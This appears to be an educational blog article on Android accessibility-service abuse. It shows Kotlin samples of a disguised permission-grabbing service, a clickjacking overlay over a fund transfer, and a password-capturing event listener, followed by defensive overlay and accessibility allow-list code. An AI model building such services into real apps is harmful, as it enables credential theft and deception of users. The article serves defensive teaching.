Unveiling Accessibility Attacks on Android: Code Examples and Countermeasures

Photo by Joseph James: A Spontaneous Shot Near Muscium Isle

I want to make it crystal clear that creating and using real malicious code is not only unethical but also illegal. The example shared here is purely for educational purposes, aiming to highlight the possible dangers related to accessibility permissions. When building applications, it’s crucial to always uphold ethical standards and prioritize user privacy.

Introduction

Accessibility services in Android are designed to assist users with disabilities, providing features such as screen readers, magnification gestures, and interaction control. However, attackers can exploit these features to compromise user privacy and security. In this article, we explore three accessibility attack scenarios, accompanied by code examples, and discuss effective countermeasures to enhance application security.

Malicious Accessibility Service

Consider an app that disguises itself as an innocuous utility but secretly requests excessive permissions when the accessibility service is enabled. For this example, let’s create a fake “Battery Saver” app that, once granted accessibility permissions, requests sensitive permissions.

Code Example:

class MaliciousAccessibilityService : AccessibilityService() {

    override fun onServiceConnected() {
        super.onServiceConnected()

        // Request excessive permissions under the guise of a Battery Saver app
        requestSensitivePermissions()
    }

    private fun requestSensitivePermissions() {
        // Request permissions that go beyond the actual needs of the service
        // In a real-world scenario, these permissions could include READ_SMS, READ_CONTACTS, etc.
        // Note: This is for educational purposes only; ethical considerations must be prioritized.
        ActivityCompat.requestPermissions(
            this,
            arrayOf(
                Manifest.permission.READ_SMS,
                Manifest.permission.READ_CONTACTS
            ),
            123
        )

        // Log the request for research or educational purposes
        Log.d("MaliciousAccessibility", "Requested sensitive permissions")
    }

    // ... Rest of the AccessibilityService implementation ...

}

Manifest.xml

<service
    android:name=".MaliciousAccessibilityService"
    android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
    <intent-filter>
        <action android:name="android.accessibilityservice.AccessibilityService" />
    </intent-filter>

    <meta-data
        android:name="android.accessibilityservice"
        android:resource="@xml/malicious_accessibility_service_config" />
</service>

malicious_accessibility_service_config.xml

<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
    android:description="@string/accessibility_service_description"
    android:accessibilityEventTypes="typeAllMask"
    android:accessibilityFeedbackType="feedbackGeneric"
    android:notificationTimeout="100"
    android:settingsActivity=".SettingsActivity" />

In this example, the MaliciousAccessibilityService requests sensitive permissions (READ_SMS, READ_CONTACTS) once the accessibility service is connected. The app might have a user interface that looks like a battery saver app, but behind the scenes, it exploits accessibility permissions for malicious purposes.

The primary purpose of this example is to illustrate how an app could abuse the trust users place in accessibility services. In a real-world scenario, a malicious app might use such permissions to access sensitive user data, compromise privacy, or conduct unauthorized activities.

Example 2: UI Redressing (Clickjacking)

In a UI Redressing (Clickjacking) attack, the attacker overlays deceptive visuals on top of legitimate UI elements to trick users into interacting with hidden or unintended UI elements. The purpose of such an attack is to perform actions on behalf of the user without their knowledge or consent. Here’s a solid example to illustrate this concept:

Code Example:

Suppose you have a banking application with a button that initiates a fund transfer. The legitimate UI looks like this:

<!-- layout/activity_main.xml -->
<Button
    android:id="@+id/transferButton"
    android:layout_width="wrap_content"
    android:layout_height="wrap_content"
    android:text="Transfer Funds"
    />

import android.graphics.PixelFormat
import android.os.Bundle
import android.view.View
import android.view.WindowManager
import android.widget.Button
import androidx.appcompat.app.AppCompatActivity

class MaliciousOverlayActivity : AppCompatActivity() {

    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        setContentView(R.layout.activity_malicious_overlay)

        // Display the transparent overlay with deceptive visuals
        showDeceptiveOverlay()
    }

    private fun showDeceptiveOverlay() {
        // Create and add overlay view with deceptive visuals
        // This could include elements that appear harmless but perform malicious actions
        // For example, a button that initiates an unauthorized fund transfer
        val deceptiveButton = Button(this)
        deceptiveButton.text = "Claim Your Bonus"

        val params = WindowManager.LayoutParams(
            WindowManager.LayoutParams.MATCH_PARENT,
            WindowManager.LayoutParams.MATCH_PARENT,
            WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY,
            WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE,
            PixelFormat.TRANSLUCENT
        )

        val windowManager = getSystemService(WINDOW_SERVICE) as WindowManager
        windowManager.addView(deceptiveButton, params)

        deceptiveButton.setOnClickListener {
            // Perform malicious action, e.g., initiate an unauthorized fund transfer
            initiateMaliciousTransfer()
        }
    }

    private fun initiateMaliciousTransfer() {
        // Code to perform unauthorized fund transfer
        // This could involve making API calls or interacting with the legitimate app's functionality
        // No

In this example, the MaliciousOverlayActivity creates a deceptive button overlay that encourages the user to click, thinking they are claiming a bonus. However, the button secretly initiates an unauthorized fund transfer, taking advantage of the user's unintended action.

The purpose of this UI Redressing (Clickjacking) attack is to trick users into performing unintended actions without their awareness. In a real-world scenario, attackers might use deceptive overlays to perform actions such as transferring funds, changing account settings, or making purchases on behalf of the user without their explicit consent. To counteract this, apps should implement proper overlay permission checks and educate users to be cautious about interacting with unexpected UI elements.

Example 3: Accessibility Event Abuse

In this scenario, we’ll focus on capturing sensitive information, such as passwords, using accessibility events.

An attacker registers an accessibility service that listens for TYPE_VIEW_TEXT_CHANGED events. These events are triggered when the text within a view changes, making it an opportune moment to capture sensitive information like passwords.

Code Example:

import android.accessibilityservice.AccessibilityService
import android.util.Log
import android.view.accessibility.AccessibilityEvent

class MaliciousEventReceiver : AccessibilityService() {

    override fun onAccessibilityEvent(event: AccessibilityEvent) {
        // Capture sensitive information from accessibility events
        captureSensitiveData(event)
    }

    private fun captureSensitiveData(event: AccessibilityEvent) {
        // Extract and log sensitive information such as passwords, PINs, etc.
        // Note: This is for educational purposes; ethical considerations must be prioritized.
        if (event.eventType == AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED) {
            val password = event.text?.toString()
            // This could also be send to the server
            Log.d("MaliciousEventReceiver", "Captured Password: $password")
        }
    }

    // ... Rest of the AccessibilityService implementation ...
}

The purpose of this attack is to silently capture passwords entered by the user in other applications, exploiting the accessibility service’s ability to listen for changes in text fields. Once captured, the attacker can use or store these sensitive credentials for malicious purposes, such as unauthorized access to accounts.

Mitigation Techniques for Accessibility Event Abuse:

UI Redressing (Clickjacking)

Overlay attacks are a significant security concern in Android applications, particularly when handling sensitive information like PIN codes or passwords. To mitigate the risk of overlay attacks, developers can employ different strategies based on the Android version.

1. For Android 12 (API 31) and Above: Using setHideOverlayWindows(true)

Beginning with Android 12, a protective feature was introduced to guard against malicious overlays. By invoking `setHideOverlayWindows(true)` on specified activity windows, non-system overlays are prevented from obscuring sensitive views.

val detectOverlayButton: Button = findViewById(R.id.btnDetect)
detectOverlayButton.setOnClickListener {
 this.window.setHideOverlayWindows(true)
}

2. For Android Versions Below API 31: Touch Event Detection

For applications targeting Android versions before API 31, detecting overlay attacks based on touch events can be an effective alternative. Several methods are available for this purpose:

a. Using `onTouch` Method:

val mainView: ViewGroup = findViewById(R.id.main_view)
mainView.setOnTouchListener { _, event ->
 val badTouch = (event.flags and MotionEvent.FLAG_WINDOW_IS_OBSCURED) != 0
// Do not consume event if obscured
 !badTouch
}

b. Using `setFilterTouchesWhenObscured`:

val mainView: ViewGroup = findViewById(R.id.main_view)
mainView.setFilterTouchesWhenObscured(true)

c. Using `onFilterTouchEventForSecurity` Method:

override fun dispatchTouchEvent(event: MotionEvent): Boolean {
 return onFilterTouchEventForSecurity(event) || super.dispatchTouchEvent(event)
}
override fun onFilterTouchEventForSecurity(event: MotionEvent): Boolean {
 // Add custom security check
 val flags = event.flags
 val badTouch = ((flags and MotionEvent.FLAG_WINDOW_IS_PARTIALLY_OBSCURED) != 0
 || (flags and MotionEvent.FLAG_WINDOW_IS_OBSCURED) != 0)
// Consume touch event to block touch if obscured
 return !badTouch || super.onFilterTouchEventForSecurity(event)
}

d. Using `onTouch` with Flags (API 29 and Above):

val mainView: ViewGroup = findViewById(R.id.main_view)
mainView.setOnTouchListener { _, event ->
 val flags = event.flags
 val badTouch = (flags and MotionEvent.FLAG_WINDOW_IS_PARTIALLY_OBSCURED != 0
 || flags and MotionEvent.FLAG_WINDOW_IS_OBSCURED != 0)
// Do not consume event if obscured
 !badTouch
}

These touch event-based methods allow developers to detect and prevent obscured touches caused by overlays, providing an additional layer of security for applications running on Android versions below API 31. Choose the method that best fits the specific requirements and constraints of your application.

Accessibility Event Abuse/Malicious Accessibility Service

To address potential security risks associated with accessibility services, it is essential to implement a controlled approach that balances security measures with the need for a user-friendly and accessible experience. Here’s a mitigation technique that focuses on detecting and allowing only specific, trusted accessibility services.

Approach 1: Detect if Any Accessibility Service is Enabled

/**
 * Checks if any accessibility service is currently enabled on the device.
 * @param context The application context.
 * @return True if any accessibility service is enabled; otherwise, false.
 */
fun isAccessibilityEnabled(context: Context): Boolean {
    val accessibilityManager = context.getSystemService(Context.ACCESSIBILITY_SERVICE) as AccessibilityManager
    return accessibilityManager.isEnabled
}

This method allows the application to detect the presence of any active accessibility service on the device.

Approach 2: Allow Only Specific Accessibility Services

/**
 * Allows only specific accessibility services defined in the allowedServices list.
 * @param context The application context.
 * @return True if only allowed accessibility services are enabled; otherwise, false.
 */
fun isAccessibilityServiceAllowed(context: Context): Boolean {
    val allowedServices = listOf("com.mytrusted.assistant", "com.trusted.package")
    val accessibilityManager = context.getSystemService(Context.ACCESSIBILITY_SERVICE) as AccessibilityManager
    val enabledServices = accessibilityManager.getEnabledAccessibilityServiceList(FEEDBACK_ALL_MASK)
    
    for (serviceInfo in enabledServices) {
        if (serviceInfo.id !in allowedServices) {
            return false
        }
    }
    
    return true
}

This method ensures that only predefined, trusted accessibility services are allowed to operate within the application. It iterates through the enabled accessibility services, checking if each service’s package name is included in the list of allowed services.

Considerations:

1. Privacy and Accessibility Impact: Balancing security with accessibility needs is crucial to avoid impacting the user experience and violating accessibility regulations.
2. Legal Compliance: It is important to be aware of legal requirements and regulations related to accessibility before implementing restrictive measures against accessibility services.
3. Fine-Grained Control: For more control, consider implementing server-side validation to validate accessibility services and adjust application functionality accordingly.
4. Future Consideration: Android 14 introduced the accessibilityDataSensitive property, providing a future-oriented solution. However, widespread adoption may take time.

Again, These mitigation techniques and code examples provide a foundation for enhancing the security of Android applications against accessibility attacks. Always tailor your security measures to the specific requirements and context of your app, and stay informed about emerging security best practices.

Conclusion

Understanding accessibility attacks and implementing robust countermeasures is essential for ensuring the security and privacy of Android applications. By staying informed about potential threats and following ethical coding practices, developers can contribute to a safer mobile ecosystem.

As security is an ongoing concern, continuous education and proactive measures are key. Always prioritize user safety, respect user privacy, and adhere to ethical principles when conducting research in the field of mobile security.

Secure Coding!! 🚀